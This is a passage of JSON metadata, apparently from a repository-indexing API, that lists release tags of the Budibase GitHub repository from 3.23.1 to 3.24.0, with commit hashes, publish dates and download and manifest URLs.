b/repositories/Budibase%2Fbudibase/tags/3.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.24.0/manifests"},{"name":"3.23.48","sha":"8ef2b462719360208e00e372cf5edef3e4908b89","kind":"commit","published_at":"2026-01-07T10:17:59.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.48","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.48","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.48","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.48","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.48/manifests"},{"name":"3.23.47","sha":"4bd14f9537343c8db624d598d97ab522e4113aaf","kind":"commit","published_at":"2025-12-29T12:38:33.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.47","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.47","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.47","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.47","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.47/manifests"},{"name":"3.23.46","sha":"9eda80285e940bb8e35bb526ab762c80df7fc1bd","kind":"commit","published_at":"2025-12-23T11:58:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.46","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.46","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.46","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.46","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.46/manifests"},{"name":"3.23.45","sha":"7f504a5469a7500a0f67ff2ab64b210ee2c7fd29","kind":"commit","published_at":"2025-12-22T13:17:21.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.45","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.45","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.45","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.45","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.45/manifests"},{"name":"3.23.44","sha":"1122d4811e375eb551c5483fdcdad8a3553cd1af","kind":"commit","published_at":"2025-12-19T14:51:44.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.44","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.44","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.44","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.44","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.44/manifests"},{"name":"3.23.43","sha":"ba97399c8a49b460f06095522f201978054be8ad","kind":"commit","published_at":"2025-12-18T14:59:48.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.43","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.43/manifests"},{"name":"3.23.42","sha":"06c20bdcc95dcd2e46b3055e7ac5731191910806","kind":"commit","published_at":"2025-12-16T15:54:58.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.42","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.42/manifests"},{"name":"3.23.41","sha":"1bda38f28e93ae1adb464f05f19a86d5401d1116","kind":"commit","published_at":"2025-12-16T08:49:46.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.41","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.41/manifests"},{"name":"3.23.40","sha":"f3db2f9ad8a559a591c070d77ae987a0284d080d","kind":"commit","published_at":"2025-12-15T15:16:47.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.40","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.40/manifests"},{"name":"3.23.39","sha":"437e3efb293ac14754b55883afefa0400e56e169","kind":"commit","published_at":"2025-12-10T16:55:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.39","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.39/manifests"},{"name":"3.23.38","sha":"e7d524084327661b3ec2edfd377bd250eebe2c7c","kind":"commit","published_at":"2025-12-09T10:13:03.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.38","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.38/manifests"},{"name":"3.23.37","sha":"d924cd389c6b49396306b6f7bfa981612d9b4534","kind":"commit","published_at":"2025-12-05T10:37:16.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.37","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.37/manifests"},{"name":"3.23.36","sha":"73bd29b62d7826736d29e25e5c1abb6807c38087","kind":"commit","published_at":"2025-12-04T13:26:36.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.36","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.36/manifests"},{"name":"3.23.35","sha":"eee3aff6265c3cd806c4452467f0776e1662b104","kind":"commit","published_at":"2025-12-03T08:42:50.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.35","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.35/manifests"},{"name":"3.23.34","sha":"36d87fd6b071d73ac9f4a406a3bf0f411873899e","kind":"commit","published_at":"2025-12-02T16:01:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.34","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.34/manifests"},{"name":"3.23.33","sha":"17136e7cd8c2ce3ab0911dcf57ee453400d529f6","kind":"commit","published_at":"2025-11-28T15:48:24.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.33","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.33/manifests"},{"name":"3.23.32","sha":"2dde943ba56fb5a1c2fa2ab90c15051a921c97f4","kind":"commit","published_at":"2025-11-28T10:55:52.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.32","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.32/manifests"},{"name":"3.23.31","sha":"c1739d7a01554018a3f95ff49a9428ee9561fd7a","kind":"commit","published_at":"2025-11-27T16:32:27.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.31","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.31/manifests"},{"name":"3.23.30","sha":"f8922849f21f445938de58ca623fe506f85b7631","kind":"commit","published_at":"2025-11-26T15:03:54.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.30","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.30/manifests"},{"name":"3.23.29","sha":"2fb064ab85eb5e740a4df898567c3113404d26c1","kind":"commit","published_at":"2025-11-25T09:49:39.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.29","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.29/manifests"},{"name":"3.23.28","sha":"f4823c2fd46b921559bf44d135ceecf867ec1188","kind":"commit","published_at":"2025-11-21T11:51:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.28","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.28/manifests"},{"name":"3.23.27","sha":"f8e49f75e7d0f332d76be3dd955cd02c28d5d24c","kind":"commit","published_at":"2025-11-21T08:02:59.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.27","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.27/manifests"},{"name":"3.23.26","sha":"f05065c0b1158de7d66635fe9e3b965b8e00bf96","kind":"commit","published_at":"2025-11-20T09:54:32.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.26","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.26/manifests"},{"name":"3.23.25","sha":"9eddc6294d4ed9325730859fb215406b47658b88","kind":"commit","published_at":"2025-11-20T07:58:50.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.25","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.25/manifests"},{"name":"3.23.24","sha":"fb12bf1ceea22ebe2baf0ac68af863378cf00725","kind":"commit","published_at":"2025-11-19T10:29:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.24","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.24/manifests"},{"name":"3.23.23","sha":"fb05481d42c5540ac4585f0469cbe4b86e4945d0","kind":"commit","published_at":"2025-11-18T08:51:58.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.23","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.23/manifests"},{"name":"3.23.22","sha":"f34d545602a7c94427bae63312a5ee9bf2aa6c85","kind":"commit","published_at":"2025-11-14T11:10:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.22","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.22/manifests"},{"name":"3.23.21","sha":"210901863f756848e7fb6e756b136f90ee5c6957","kind":"commit","published_at":"2025-11-14T10:00:53.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.21","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.21/manifests"},{"name":"3.23.20","sha":"6f34ad52a7f927ffeb4395673c59568492508980","kind":"commit","published_at":"2025-11-13T12:02:39.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.20","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.20/manifests"},{"name":"3.23.19","sha":"419bbba1d626594e1d855c4d13534307b3f51d02","kind":"commit","published_at":"2025-11-13T08:47:40.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.19","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.19/manifests"},{"name":"3.23.18","sha":"b878473f91ad79ff14fc30e6c452b570da0bbd16","kind":"commit","published_at":"2025-11-11T14:00:09.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.18","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.18/manifests"},{"name":"3.23.17","sha":"8cc4a33344817d32d661326c7f06561efb31ce0f","kind":"commit","published_at":"2025-11-10T16:36:59.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.17","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.17/manifests"},{"name":"3.23.16","sha":"ffb08407f2a0a1ee6504cc374325adf925e2e566","kind":"commit","published_at":"2025-11-10T14:36:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.16","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.16/manifests"},{"name":"3.23.15","sha":"010b1fecd7dbe34ce809b63dd07cf06746e7f81e","kind":"commit","published_at":"2025-11-07T15:42:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.15","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.15/manifests"},{"name":"3.23.14","sha":"5ab6c37dd1933ad57ac45f24dac32c9de85f3c41","kind":"commit","published_at":"2025-11-06T09:59:27.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.14","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.14/manifests"},{"name":"3.23.13","sha":"65bf30c65f840eb6a370834582c9fb9fdea19bae","kind":"commit","published_at":"2025-11-05T16:21:40.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.13","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.13/manifests"},{"name":"3.23.12","sha":"752db7bb47b467ed95ab0dd4a2d8c2645d68936d","kind":"commit","published_at":"2025-11-05T15:09:42.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.12","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.12/manifests"},{"name":"3.23.11","sha":"d41de5924150c534f8d3398126c127837e74ad71","kind":"commit","published_at":"2025-11-05T15:08:44.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.11","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.11/manifests"},{"name":"3.23.10","sha":"6b24141da2eeaf2c47806f162d22b55a01c14cbd","kind":"commit","published_at":"2025-11-05T11:11:46.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.10","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.10/manifests"},{"name":"3.23.9","sha":"a50f9358ef53e380e746224af8a13f6ed25aad62","kind":"commit","published_at":"2025-11-05T10:55:29.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.9","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.9/manifests"},{"name":"3.23.8","sha":"8b37b16f1c4fe84715b0d7d2ad03efb7ce0819d5","kind":"commit","published_at":"2025-11-05T10:26:54.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.8","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.8/manifests"},{"name":"3.23.7","sha":"d38bcdf4aefa76344c13b8675a648a476dd4b2f5","kind":"commit","published_at":"2025-11-05T10:10:07.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.7","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.7/manifests"},{"name":"3.23.6","sha":"78973597acfb3cf60acd3537d2a38512790aac30","kind":"commit","published_at":"2025-11-05T09:34:36.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.6","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.6/manifests"},{"name":"3.23.5","sha":"91490a27327bed3370fb3a52f736704edaf649a7","kind":"commit","published_at":"2025-11-04T13:57:32.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.5/manifests"},{"name":"3.23.4","sha":"5f4b3447668a68e2465641403fb40f93ffa27dcb","kind":"commit","published_at":"2025-11-03T14:43:39.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.4/manifests"},{"name":"3.23.3","sha":"eca20ca7b1c76365cdca4c39b4d8822710429e8d","kind":"commit","published_at":"2025-11-03T14:29:48.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.3/manifests"},{"name":"3.23.2","sha":"c6b39f0173668ccb218723d0fe6496613797d81f","kind":"commit","published_at":"2025-11-03T14:17:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.23.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.23.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.23.2/manifests"},{"name":"3.23.1","sha":"d728803792dfcb150b10df36f250e6ca9adca9ea","kind":"commit","published_at":"2025-11-03T11:26:12.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.23.1","html_url":"htt